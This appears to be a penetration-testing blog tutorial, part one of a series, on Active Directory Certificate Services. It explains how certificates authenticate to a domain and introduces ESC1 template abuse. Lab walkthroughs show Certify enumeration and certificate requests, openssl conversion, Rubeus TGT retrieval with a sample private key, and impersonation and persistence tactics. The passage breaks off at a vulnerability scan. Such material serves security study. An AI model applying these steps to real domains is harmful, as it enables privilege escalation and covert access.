Introduction
Today, we'll delve into Active Directory Certificate Services (ADCS). In this article, we'll cover fundamental concepts and later introduce exploitation techniques, as well as how to exploit them.
Before We Begin
Before diving into the article, I want to clarify a few things. Since ADCS is a broad and complex topic, I’ve decided to split it into two separate articles to keep things digestible and engaging.
What to Expect in Part 1 (This Article)
In this first part, we’ll introduce Active Directory Certificate Services (ADCS) and cover traditional exploitation techniques that have been used against it. However, many of these techniques are no longer effective, at least after the February 11, 2025, Windows Server update, which significantly strengthens certificate security.
That being said, understanding these older attack methods is still crucial, as they lay the groundwork for how ADCS exploitation works. By studying them, you'll gain a deeper understanding of how ADCS has been abused in the past and why certain security measures were introduced.
What to Expect in Part 2 (Next Article)
In the second part, we’ll focus on modern exploitation techniques that have emerged after the Certifried patch (CVE-2022–26923), which introduced new security settings for ADCS. These changes prevent many of the techniques covered in this article, but attackers have developed new ways to bypass them.
What is Active Directory Certificate Services (ADCS)?
In modern corporate environments, security is built on a foundation of trust. One key element of this trust is Active Directory Certificate Services (ADCS), Microsoft’s implementation of a Public Key Infrastructure (PKI). ADCS plays a crucial role in managing digital certificates, enabling organizations to authenticate users, encrypt communications, and ensure the integrity of sensitive data.
What is Active Directory Certificate Services (ADCS)?
At its core, ADCS is a system that issues and manages digital certificates within an Active Directory (AD) environment. These certificates act as digital IDs, proving the identity of users, computers, and services. Just like a passport verifies a person's identity in the real world, an ADCS-issued certificate allows a system or user to authenticate securely within the network.
Why is ADCS used in corporate environments?
Enterprises rely on ADCS for a variety of security functions, such as:
- User Authentication – Certificates can replace traditional passwords or strengthen authentication mechanisms like Smart Card Logon and PKINIT (Kerberos authentication with certificates).
- Secure Communication – Certificates enable TLS encryption for web servers, VPNs, and internal services.
- Code and Document Signing – Ensures software updates and critical documents come from trusted sources, preventing tampering.
- Device and Service Authentication – Servers, applications, and IoT devices can authenticate using certificates, reducing reliance on passwords.
Because ADCS integrates directly with Active Directory, it streamlines certificate management across an entire organization, making it a powerful security tool when configured correctly.
Why is ADCS exploitation relevant to attackers?
Despite its security benefits, ADCS can become a prime target for attackers if misconfigured. Since certificates can be used for authentication, unauthorized access to ADCS can allow an attacker to:
- Bypass password-based authentication by obtaining valid certificates for user or admin accounts.
- Escalate privileges by exploiting weak or misconfigured certificate templates.
- Maintain long-term persistence by issuing certificates that remain valid even after password changes or account lockouts.
A compromised ADCS environment can give an attacker stealthy access to Active Directory, making detection much harder.
Concepts and Terms
ADCS uses many components to function properly, so let's briefly explain some key terms that we'll use throughout this article:
- PKI (Public Key Infrastructure) → A system designed to manage certificates and public key encryption, providing a framework for secure communication and authentication.
- AD CS (Active Directory Certificate Services) → Microsoft’s implementation of PKI, integrated with Active Directory to issue and manage certificates within an enterprise.
- CA (Certification Authority) → A server responsible for issuing, managing, and revoking certificates. It acts as the trust anchor in a PKI environment.
- Enterprise CA → A type of CA that is integrated into Active Directory. It can issue certificates based on certificate templates, allowing for centralized management and automation.
- Certificate Template → A predefined collection of settings and policies that define the structure, permissions, and allowed uses of a certificate issued by an Enterprise CA.
- CSR (Certificate Signing Request) → A digitally signed request sent to a CA containing the information necessary to issue a certificate, including the requester’s public key.
- EKU (Extended Key Usage) → A list of object identifiers (OIDs) that specify the intended use of a certificate, such as Code Signing, Client Authentication, Smart Card Logon, etc.
Root CA vs. Subordinate CA
In a PKI hierarchy, not all CAs have the same role. There are two main types of CAs that work together to ensure a scalable and secure certificate issuance process:
- Root CA → The top-level CA in a PKI hierarchy. It is the ultimate trust anchor and is responsible for issuing certificates to Subordinate CAs, not directly to end-users. To minimize security risks, Root CAs are usually offline and only used to sign Subordinate CA certificates.
- Subordinate CA (Intermediate CA) → A CA that operates under the Root CA. It is responsible for issuing certificates to users, devices, or services. Subordinate CAs can also be further divided into Issuing CAs, which handle the actual distribution of certificates.
Why is this hierarchy important?
Using Subordinate CAs allows organizations to keep the Root CA highly secure while still maintaining flexible and scalable certificate issuance. If a Subordinate CA is compromised, the Root CA can revoke it without affecting the entire PKI infrastructure.
How ADCS works?
AD CS is a server role that functions as Microsoft’s implementation of public key infrastructure (PKI). As expected, it integrates with Active Directory and enables the issuance of certificates—X.509-formatted digitally signed electronic documents that can be used for encryption, message signing, and/or authentication (which we'll focus on in our exploration).
A certificate binds an identity (the subject) to a public/private key pair. Applications can then use this key pair for secure operations, serving as proof of identity. The issuance of certificates is handled by Certificate Authorities (CAs), which validate and sign them to establish trust within the PKI hierarchy.
Example of requesting a Certificate
Let's say a client wants to request a certificate for authentication purposes, meaning they will later use it to authenticate against the Key Distribution Center (KDC).
First, the client generates a public/private key pair and securely stores it within its system. Then, it creates a Certificate Signing Request (CSR)—a message sent to the Certificate Authority (CA) to request a signed certificate. This CSR includes:
- The client’s public key.
- Identity details (e.g., subject name).
- The certificate template to be used for the final certificate.
Once the CSR is prepared, the client submits it to the Enterprise CA Server.
When the CA receives the CSR, it performs several validation steps:
- Checks if the client is authorized to request signed certificates.
- Verifies whether the specified certificate template allows the client to request a certificate.
If the request is permitted, the CA issues a certificate based on:
- The settings defined in the certificate template, including EKUs, cryptographic settings, and Subject Alternative Names (SANs).
- The information provided in the CSR, if the template allows customization.
Finally, the CA signs the certificate using its private key and returns it to the client.
Certificate Templates
As mentioned earlier, when a client requests a certificate from a Certificate Authority (CA), it includes a Certificate Template within the Certificate Signing Request (CSR). A certificate template is an Active Directory (AD) object that defines preconfigured policies and settings for issued certificates, such as:
- Certificate lifetime
- Allowed usage (EKUs, cryptographic settings, etc.)
- Subject name configuration
- Enrollment permissions
One of the key attributes in a certificate template is pKIExtendedKeyUsage
, which contains an array of Object Identifiers (OIDs) specifying the intended purposes of the certificate. These OIDs define whether the certificate can be used for Client Authentication, Code Signing, Secure Email, and more.
For attackers, EKUs that allow authentication in Active Directory are of particular interest. The SpecterOps team, in their research, identified several OIDs that enable this functionality:
For example, if a certificate template includes any of these authentication-related OIDs in its pKIExtendedKeyUsage
attribute, any certificate issued from this template can be used for authentication in Active Directory.
Active Directory Authentication with Certificates
Now, let's explore how Kerberos authentication can be performed using certificates. Windows provides various tools for interacting with certificates, but for this article, we’ll use Certify, which we’ll also leverage later to exploit ADCS vulnerabilities.
Before diving in, there are a few important concepts to understand.
The Role of NTAuthCertificates in Authentication
Not every Certificate Authority (CA) within an Active Directory (AD) environment is automatically trusted for authentication. For a CA to issue certificates that can be used for Kerberos authentication (PKINIT), its root or subordinate CA certificates must be explicitly trusted by the NTAuthCertificates container in Active Directory.
What is NTAuthCertificates?
The NTAuthCertificates container is a special Active Directory object that stores CA certificates explicitly trusted for authentication-related operations, such as:
- Smart Card Logon
- Kerberos PKINIT Authentication
- Certificate-Based Authentication for AD-integrated services
If a CA’s certificate is not present in NTAuthCertificates, then even if it is a valid and trusted CA within the domain, its issued certificates cannot be used for authentication in Active Directory.
Authentication
Now, let's put Active Directory Certificate Services (ADCS) into practice. As mentioned earlier, I’ll be using Certify to perform certificate-based authentication.
Certify is a C# tool designed for interacting with ADCS via LDAP queries. It allows us to:
- Enumerate available Certificate Authorities (CAs) in the domain.
- Check which CAs are trusted for authentication (i.e., included in the
NTAuthCertificates
container). - List and request certificates from published certificate templates.
- Identify misconfigurations that could lead to ADCS exploitation.
Finding a CA That Supports Client Authentication
First, we need to identify a CA that allows client authentication, meaning it is included in the NTAuthCertificates
container in Active Directory:
PS C:\tmp> .\Certify.exe cas
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=elswixcorp,DC=local'
...[snip]...
[*] NTAuthCertificates - Certificates that enable authentication:
Cert SubjectName : CN=elswixcorp-DC01-CA, DC=elswixcorp, DC=local
Cert Thumbprint : 7EBA7E914D6B66FC78E96E001271745D3C045874
Cert Serial : 1A66B5E7D16772A94482CC2F0BB1D1C9
Cert Start Date : 3/2/2025 5:39:10 AM
Cert End Date : 3/2/2030 5:49:09 AM
Cert Chain : CN=elswixcorp-DC01-CA,DC=elswixcorp,DC=local
...[snip]...
Certify completed in 00:01:09.3377942
As seen in the output, the CA elswixcorp-DC01-CA
is trusted for authentication. This means we can request certificates from this CA and use them for Kerberos authentication, provided that the requested certificate includes an Extended Key Usage (EKU) that allows authentication.
In this case, elswixcorp-DC01-CA
is a Root CA. While it's uncommon for Root CAs to be online in real-world Active Directory environments (since they are typically kept offline for security reasons), this is a local lab setup, so I installed the CA directly on the Domain Controller (DC) for testing purposes.
Finding a Certificate Template That Allows Authentication
Now that we’ve identified a CA that supports authentication, we need to find a certificate template that allows Client Authentication. The certificate must contain the Client Authentication EKU in its pKIExtendedKeyUsage
attribute; otherwise, it won’t work for authentication.
By default, the "User" template is often enabled in AD environments, and it includes the Client Authentication EKU. However, if:
- You are unsure which templates allow authentication.
- The default User template is disabled.
You can use Certify to enumerate all certificate templates that permit authentication. To do this, we can run Certify with the /clientauth
parameter, which will specifically list enabled templates that support client authentication:
PS C:\tmp> .\Certify.exe find /clientauth
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=elswixcorp,DC=local'
[*] Listing info about the Enterprise CA 'elswixcorp-DC01-CA'
Enterprise CA Name : elswixcorp-DC01-CA
DNS Hostname : DC01.elswixcorp.local
FullName : DC01.elswixcorp.local\elswixcorp-DC01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=elswixcorp-DC01-CA, DC=elswixcorp, DC=local
Cert Thumbprint : 7EBA7E914D6B66FC78E96E001271745D3C045874
Cert Serial : 1A66B5E7D16772A94482CC2F0BB1D1C9
Cert Start Date : 3/2/2025 5:39:10 AM
Cert End Date : 3/2/2030 5:49:09 AM
Cert Chain : CN=elswixcorp-DC01-CA,DC=elswixcorp,DC=local
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
Allow ManageCA, ManageCertificates ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
Enrollment Agent Restrictions : None
Enabled certificate templates capable of client authentication:
CA Name : DC01.elswixcorp.local\elswixcorp-DC01-CA
Template Name : User
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
mspki-certificate-application-policy : <null>
Permissions
Enrollment Permissions
Enrollment Rights : ELSWIXCORP\Domain Admins S-1-5-21-4266111273-315482142-3017431568-512
ELSWIXCORP\Domain Users S-1-5-21-4266111273-315482142-3017431568-513
ELSWIXCORP\Enterprise Admins S-1-5-21-4266111273-315482142-3017431568-519
...[snip]...
Certify completed in 00:00:36.4021439
As observed, the "User" template is enabled and allows authentication because it includes the Client Authentication EKU. While it also contains two additional EKUs, Client Authentication is the one that matters for our purposes.
I’ve stripped the output for brevity, but if you run Certify in your environment, you will likely find multiple templates that allow authentication. These templates may not necessarily have the Client Authentication EKU—they could instead include Smart Card Logon or other authentication-related EKUs. However, the key takeaway is that any of these could potentially be used for authentication.
Enrollment Permissions Matter
It's important to note that not every template that allows authentication is directly usable. Even if a certificate template is enabled and includes a valid EKU, you still need the necessary permissions to enroll a certificate using that template.
For example, in this case, the "User" template is not only enabled, but it also allows Domain Users to enroll. This means any standard user in the domain can request a certificate from this template without requiring elevated privileges.
This distinction is crucial because some authentication-enabled templates may be restricted to specific security groups (e.g., only administrators can enroll). When looking for potential ADCS misconfigurations, we should focus on templates that:
- Allow authentication (EKUs like Client Authentication or Smart Card Logon).
- Are enabled for enrollment.
- Are accessible to low-privileged users or users that we have access.
Requesting a certificate
Now that we have all the necessary information, let's request a certificate from elswixcorp-DC01-CA
, using the "User" template:
PS C:\tmp> .\Certify request /template:User /ca:dc01\elswixcorp-DC01-CA
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Request a Certificates
[*] Current user context : ELSWIXCORP\elswix
[*] No subject name specified, using current context as subject.
[*] Template : User
[*] Subject : CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] Certificate Authority : dc01\elswixcorp-DC01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 50
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxoS9beFX0Qssyg65b0H1SHnaQJtT5ARhL8XmPeGGih3krS0D
95gFJxwJwntQLWASrDM2w1lG+RXu4IIGYlpLJSCqxiG1WWQfKQolj3cnwP89CxiS
eQjtFlHj6wy4HqD4sbsUlG99vP3zVrmngLqSQM4TJBsLRp3/YY9FwTFGLS0Cfoxx
DsHlhaCP0ZYRHH8cKez4ayVVuirfQdU53aCvcrvEPW63KZacSDmkigk68f3JQZAD
...[snip]...
HgyUKQKBgBuNTQRsN6qroEwE4znCguwA1aISihoh35pw3wtx6P9Sw/Yp0uds8YIr
2zkAuDVj0OKYWt5y6of2+iNenoqioKcjXediq+MXEaGlAC734bhDBrdSWBjGMfR8
kJ73syR7zKg4jch/wmMw0ilzDYhiqEuSa2PQEpvdMCEG8RqtguCq
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGfTCCBWWgAwIBAgITNQAAADI7/1bcGzupSwAAAAAAMjANBgkqhkiG9w0BAQsF
ADBQMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAYBgoJkiaJk/IsZAEZFgplbHN3
aXhjb3JwMRswGQYDVQQDExJlbHN3aXhjb3JwLURDMDEtQ0EwHhcNMjUwMzE4MDAz
...[snip]...
kk0W/E7wNZyMq1H+MGQURQZbfJHZ8iBjU8mAZ6qYtQfD+5HO2nw0Tq9TVuiuP9uL
Ye3u+brEjqVf39OPFK23Y7AGDWw5XnrdcP99vM5todW5ERPkcUH6mdoFd7i14H0y
wBWCarEjaUTm4eOwPOzhRbD6+PjgHc89zoofRcCXcXTo
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:03.7539145
As seen in the output, the request was successfully accepted, and the CA issued a certificate for us. The output also suggests using OpenSSL to convert the certificate into a .pfx
file.
Converting the Certificate to PFX
To do this, we first need to copy the returned certificate along with the generated private key into a .pem
file:
PS C:\tmp> cat cert.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxoS9beFX0Qssyg65b0H1SHnaQJtT5ARhL8XmPeGGih3krS0D
95gFJxwJwntQLWASrDM2w1lG+RXu4IIGYlpLJSCqxiG1WWQfKQolj3cnwP89CxiS
eQjtFlHj6wy4HqD4sbsUlG99vP3zVrmngLqSQM4TJBsLRp3/YY9FwTFGLS0Cfoxx
DsHlhaCP0ZYRHH8cKez4ayVVuirfQdU53aCvcrvEPW63KZacSDmkigk68f3JQZAD
...[snip]...
HgyUKQKBgBuNTQRsN6qroEwE4znCguwA1aISihoh35pw3wtx6P9Sw/Yp0uds8YIr
2zkAuDVj0OKYWt5y6of2+iNenoqioKcjXediq+MXEaGlAC734bhDBrdSWBjGMfR8
kJ73syR7zKg4jch/wmMw0ilzDYhiqEuSa2PQEpvdMCEG8RqtguCq
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGfTCCBWWgAwIBAgITNQAAADI7/1bcGzupSwAAAAAAMjANBgkqhkiG9w0BAQsF
ADBQMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGjAYBgoJkiaJk/IsZAEZFgplbHN3
aXhjb3JwMRswGQYDVQQDExJlbHN3aXhjb3JwLURDMDEtQ0EwHhcNMjUwMzE4MDAz
...[snip]...
kk0W/E7wNZyMq1H+MGQURQZbfJHZ8iBjU8mAZ6qYtQfD+5HO2nw0Tq9TVuiuP9uL
Ye3u+brEjqVf39OPFK23Y7AGDWw5XnrdcP99vM5todW5ERPkcUH6mdoFd7i14H0y
wBWCarEjaUTm4eOwPOzhRbD6+PjgHc89zoofRcCXcXTo
-----END CERTIFICATE-----
Now, we’ll use OpenSSL to convert this .pem
file into a .pfx
file, as instructed by Certify:
elswix@ubuntu$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
This process successfully creates the cert.pfx
file, which we can now use for authentication.
Kerberos Authentication through PKINIT
Now that we have the certificate, we can use it to perform Kerberos authentication. This is particularly powerful because it allows us to authenticate without needing the user’s password.
Even better, the certificate remains valid for a year by default, as specified in the User template. Additionally, the certificate will still work even if the user changes their password, making ADCS exploitation an excellent persistence mechanism in an Active Directory environment.
Using Rubeus for Authentication
For this example, I’ll use Rubeus to authenticate with the certificate. First, I’ll upload the cert.pfx
file to the target Windows machine.
Now, let’s execute Rubeus:
PS C:\tmp> .\rubeus asktgt /user:elswix /certificate:.\cert.pfx
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGT
[*] Got domain: elswixcorp.local
[*] Using PKINIT with etype rc4_hmac and subject: E=elswixpwn@elswixcorp.local, CN=elswix, CN=Users, DC=elswixcorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'elswixcorp.local\elswix'
[*] Using domain controller: fe80::5cf7:8085:cc83:dac2%16:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGLjCCBiqgAwIBBaE...[snip]... GwZrcmJ0Z3QbEGVsc3dpeGNvcnAubG9jYWw=
ServiceName : krbtgt/elswixcorp.local
ServiceRealm : ELSWIXCORP.LOCAL
UserName : elswix (NT_PRINCIPAL)
UserRealm : ELSWIXCORP.LOCAL
StartTime : 3/19/2025 4:36:31 PM
EndTime : 3/20/2025 2:36:31 AM
RenewTill : 3/26/2025 4:36:31 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : LTMnSBv8/HNIkbMR/nupKg==
ASREP (key) : 2896B80E5C72C3A02E48FD26065FFA7B
As seen in the output, the KDC has returned a valid TGT (Ticket Granting Ticket) for elswix. Now, we can use this TGT to authenticate as elswix and leverage their privileges.
Note: In this case, it doesn’t grant additional access since we initially requested the certificate as elswix, but if we had obtained a certificate for a higher-privileged user, we could now operate with their privileges.
Certificate-Based Authentication through Schannel
In addition to PKINIT, some protocols use Schannel, the security package behind SSL/TLS, to authenticate domain users with certificates. One common use case is LDAPS (LDAP over SSL/TLS), where authentication is performed using a certificate instead of traditional credentials.
For example, a user can authenticate to LDAPS with a certificate and execute an LDAP whoami query to determine which account was authenticated. This means that if an attacker obtains a valid authentication certificate, they may be able to authenticate via LDAPS using Schannel, further expanding potential attack vectors beyond Kerberos.
For example, let's use the same certificate we obtained earlier to authenticate through Schannel. To do this, I'll use the script Get-LdapCurrentUser.ps1:
PS C:\tmp> Get-LdapCurrentUser -Certificate C:\tmp\cert.pfx -UseSSL -Server dc01.elswixcorp.local:636
u:ELSWIXCORP\elswix
PS C:\tmp>
Kerberos Authentication through PKINIT (Process)
Before diving into how ADCS can be abused, let's first break down what happened in the previous stage—from requesting a certificate to obtaining a Ticket Granting Ticket (TGT) from the KDC.
I want to emphasize that this explanation is highly simplified for better understanding. Some technical details have been omitted to focus on the core concepts of the process.
The Certificate Request Process
The image below illustrates the process of requesting a certificate from the CA:
Now, let's describe what’s happening at each step.
Step 1: Generating the Certificate Signing Request (CSR)
- The user generates a public/private key pair, which is stored by Windows.
- Using these keys, the user creates a Certificate Signing Request (CSR), which includes:
- The public key (generated earlier).
- The subject (who the certificate is being issued for).
- The certificate template they want to use.
- The Extended Key Usage (EKU) defining how the certificate can be used.
Why does the user include their public key in the CSR?
Because once the Certificate Authority (CA) issues the certificate, it will copy the public key into the final certificate. This ensures that only the user who possesses the corresponding private key can use the certificate.
Note: If you're familiar with PKI (Public Key Infrastructure), you might already understand why this matters. If not, you’ll see its importance when we explain the Kerberos PKINIT authentication process later.
Once the CSR is complete, the user sends it to the CA for approval.
Step 2: CA Validation
When the CA receives the CSR, it performs a series of checks to determine whether the user is authorized to request the certificate.
1. Verifies the certificate template
The CA checks if the specified template exists. In this case, the user requested the "User" template, which exists, so the process continues.
2. Checks if the requested settings are allowed
The CA verifies whether the CSR's requested settings match the template’s restrictions. Here, the requested EKU is "Client Authentication", which the User template allows by default. (In reality, the CSR contains more settings, but we are simplifying the process to focus on the main idea).
3. Ensures the user has permission to enroll
The CA checks whether the user has sufficient privileges to request a certificate using this template. In this case, the User template allows Domain Users to enroll, so the request is approved.
If any of these checks fail, the CA rejects the request.
Step 3: Certificate Issuance
If all validation checks pass, the CA:
- Generates a new certificate based on the settings defined in the template.
- Copies the public key from the CSR into the certificate.
- Signs the certificate using the CA’s private key (proving its authenticity).
- Returns the issued certificate to the client.
At this point, the user has a valid certificate that can be used for authentication.
Step 4: Storing and Using the Certificate
Once the user receives the certificate, it is saved to the Windows Certificate Store for future use. This certificate can now be used for authentication, as the EKU within it explicitly allows authentication operations (e.g., Client Authentication).
Kerberos Authentication with Certificates
Before describing the Kerberos Authentication process, I want to introduce the concept of Subject Alternative Name (SAN).
Now, let's break down how Kerberos authentication works when using certificates. The image below provides a simplified representation of how the KRB_AS_REQ
message is structured in this process:
Note
To fully grasp this process, you should first understand how Kerberos authentication works. You can refer to my Kerberos authentication article for a deeper explanation.
While this request is similar to a traditional KRB_AS_REQ
, there are some key differences that we’ll explore.
Note: The image above is a simplified representation of the KRB_AS_REQ
message. In reality, it contains additional fields, but this explanation covers the essential details needed to understand the process.
Unlike a regular Kerberos AS-REQ, this request includes a certificate—specifically, the one we obtained in the previous step.
Additionally, it contains a timestamp value, which serves as the authenticator structure. However, this timestamp is encrypted using the client’s private key (the same private key generated when requesting the certificate).
The encryption of the timestamp using the private key is a critical security mechanism in PKINIT. This process ensures that the certificate is valid and that the request is genuinely coming from the user who owns the corresponding private key.
1. KDC Receives the KRB_AS_REQ
and Extracts the Certificate
-
The KDC verifies the certificate's validity by performing several checks. It ensures that the certificate is still valid (not expired or revoked) and that the certificate's signature is legitimate, meaning it was issued by a trusted CA within the NTAuthCertificates container. This verification process relies on the trust chain, where the KDC follows the certificate’s issuer hierarchy to confirm that it ultimately leads to a trusted Root CA.
-
Additionally, the KDC checks whether the specified user in the AS-REQ matches the identity in the certificate. However, contrary to what one might expect, this check is not performed against the Subject field of the certificate. Instead, as we’ll explain later, the KDC actually verifies the User Principal Name (UPN) found in the Subject Alternative Name (SAN) field, or another identity field that can be used for mapping.
-
It also checks some other fields that are not relevant for the explaination.
2. KDC Retrieves the Public Key from the Certificate
- The public key is embedded within the certificate, and the KDC extracts it.
3. KDC Attempts to Decrypt the Timestamp
- The timestamp in the request was encrypted using the user’s private key before being sent. The KDC attempts to decrypt it using the extracted public key from the certificate.
4. If the Decryption is Successful:
- This proves that the user possesses the correct private key, meaning:
The request was not tampered with.
The request was made by the legitimate user associated with the certificate.
This step ensures that the certificate truly belongs to the user and that the request is authentic, preventing impersonation or spoofing attacks. If any of the checks above fail, the KDC denies the request. If the checks are successful, the KDC returns a TGT to the requesting client.
The TGT can now be used to request Service Tickets (STs) for accessing desired services within the domain. Since this TGT was issued based on a certificate, it remains tied to the user identity specified in the certificate’s SAN, meaning authentication is strictly limited to that account.
At this stage, ADCS exploitation might not seem particularly useful beyond persistence, as the certificate remains valid even if the user’s password changes. However, what if there were a way to specify an arbitrary subject when requesting a certificate?
Subject Alternative Name (SAN)
The Subject Alternative Name (SAN) is a certificate extension that allows multiple identities to be associated with a single certificate, extending beyond just the Subject field. This is commonly used in HTTPS certificates, where a web server may host multiple domains and needs a single certificate that includes all applicable domain names within the SAN field.
While this functionality is useful in web security, it can pose a critical security risk in Active Directory environments when combined with certificates that support domain authentication. As mentioned earlier, during the AS-REQ validation process, the KDC does not verify whether the requested username matches the Subject field of the certificate. In reality, it checks whether the username corresponds to a User Principal Name (UPN) or another identity field listed in the Subject Alternative Name (SAN) field of the certificate.
This distinction is important because, during certificate-based authentication, Active Directory maps the certificate to a user account based on the UPN present in the SAN field, not the Subject field. This means that if a misconfigured certificate template allows a requester to specify an arbitrary SAN, and the CA signs and issues the certificate without proper validation, an attacker could impersonate any user in the domain, even if the Subject field— which identifies the original requester of the certificate— is completely different.
This misconfiguration opens the door for domain privilege escalation, where a low-privileged user could request a certificate that includes the UPN of a privileged account (e.g., a Domain Admin) in the SAN field. Once issued, this certificate would allow the attacker to authenticate as that privileged account, effectively bypassing password-based authentication mechanisms.
Note
If you're not familiar with the term User Principal Name (UPN), it is simply an identifier assigned to user accounts in Active Directory. By default, a UPN is automatically assigned when a new user is created and typically follows the format: username@domain.local
. For example, if the user's sAMAccountName is elswix
, their default UPN would be elswix@elswixcorp.local
.
However, the UPN is not strictly tied to this format—it can be manually modified by administrators to use a different domain suffix or even a completely different identifier. As a result, a user’s UPN may not always match their sAMAccountName (username) or follow the expected domain format.
Domain Escalation Abusing ADCS
Previously, we demonstrated how certificates can be used for domain authentication and persistence. Now, let's explore how misconfigurations in ADCS can lead to domain privilege escalation.
During their research, the SpecterOps team introduced a categorization system for different ADCS misconfigurations and privilege escalation methods, naming them ESC vulnerabilities, followed by a number representing a specific technique. This classification helps define systematic ways attackers can abuse ADCS to escalate privileges within a domain.
In this article (Part 1), we will focus on ESC1 through ESC8, which were the original privilege escalation techniques identified by SpecterOps. These vulnerabilities represent fundamental misconfigurations that, if present, allow an attacker to escalate privileges using improperly secured certificate templates, enrollment policies, or certificate-based authentication flaws.
Later, in Part 2, we will explore more modern ADCS exploitation techniques discovered after SpecterOps' initial research, as mentioned at the beginning of this article.
AD CS itself is not inherently insecure (with the exception of ESC8, as we’ll discuss later), but its complexity makes it surprisingly easy to misconfigure. These misconfigurations can create opportunities for low-privileged users to escalate privileges within the domain.
Misconfigured Certificate Templates (ESC1)
This is the first ADCS misconfiguration that can lead to domain privilege escalation. When a certificate template is vulnerable to ESC1, it allows an attacker to supply an arbitrary Subject Alternative Name (SAN) when requesting a certificate.
By default, when a certificate is requested, the KDC automatically fills the SAN field with the UPN of the Subject specified in the Certificate Signing Request (CSR). However, certain templates are configured to allow the requester to explicitly define the SAN, meaning an attacker could set the SAN to the UPN of a privileged user, such as a Domain Admin, and obtain a valid authentication certificate for that identity.
This insecure configuration can be found in the Subject Name tab of the certificate template properties, where the option "Supply in the Request" is enabled:
However, for ESC1 to be exploitable, this misconfiguration alone is not enough. Several other conditions must be met:
Additional Requirements for ESC1 Exploitation
The Enterprise CA Grants Low-Privileged Users Enrollment Rights
For an attacker to abuse a misconfigured certificate template, they must be allowed to enroll for a certificate. If certificate enrollment is restricted to privileged groups (e.g., only domain admins), exploitation is not possible.
If low-privileged users have enrollment rights, they can freely request certificates, making exploitation possible.
Manager Approval is Disabled
In some secure configurations, certificate requests must be manually approved by an administrator before being issued. This acts as a safeguard against unauthorized requests.
For ESC1 to be exploitable, manager approval must be disabled, meaning that any request submitted will be automatically approved and issued by the CA.
No Authorized Signatures Are Required
Some certificate templates require CSRs to be signed by an existing authorized certificate before the request is accepted. This adds another layer of security, as only users with pre-existing trusted certificates can request new ones.
For ESC1 to work, this requirement must be disabled, allowing any user to submit an unsigned CSR and get a valid certificate.
Overly Permissive Security Descriptors on the Certificate Template
Certificate templates have Access Control Lists (ACLs) that define which users or groups are allowed to read, enroll, or modify the template.
For ESC1 to be exploited, the template must have "weak permissions", meaning that low-privileged users are granted enrollment rights.
This is often overlooked by administrators, as they might unknowingly allow Authenticated Users or Domain Users to enroll, opening the door for abuse.
The Certificate Template Defines EKUs That Enable Authentication
Even if an attacker can enroll in a certificate template with a custom SAN, it is only useful for authentication if the certificate includes the correct EKUs (Extended Key Usages).
For exploitation, the template must include EKUs that allow authentication, such as:
-
Client Authentication (1.3.6.1.5.5.7.3.2)
-
Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
If the template lacks these EKUs, the attacker will be able to obtain a certificate, but it will not be usable for Kerberos authentication.
For this demonstration I created a template called ESC1
. This template meets all the requirements above so it can be exploited.
Finding a Vulnerable Template
Before requesting a certificate with an arbitrary SAN, we first need to identify vulnerable templates. To do this, we can use Certify.exe, a tool that not only automates certificate requests but also provides valuable insights into the ADCS environment.
By using the find
module with the /vulnerable
flag, we can scan for templates that have misconfigurations allowing privilege escalation.
PS C:\tmp> .\Certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
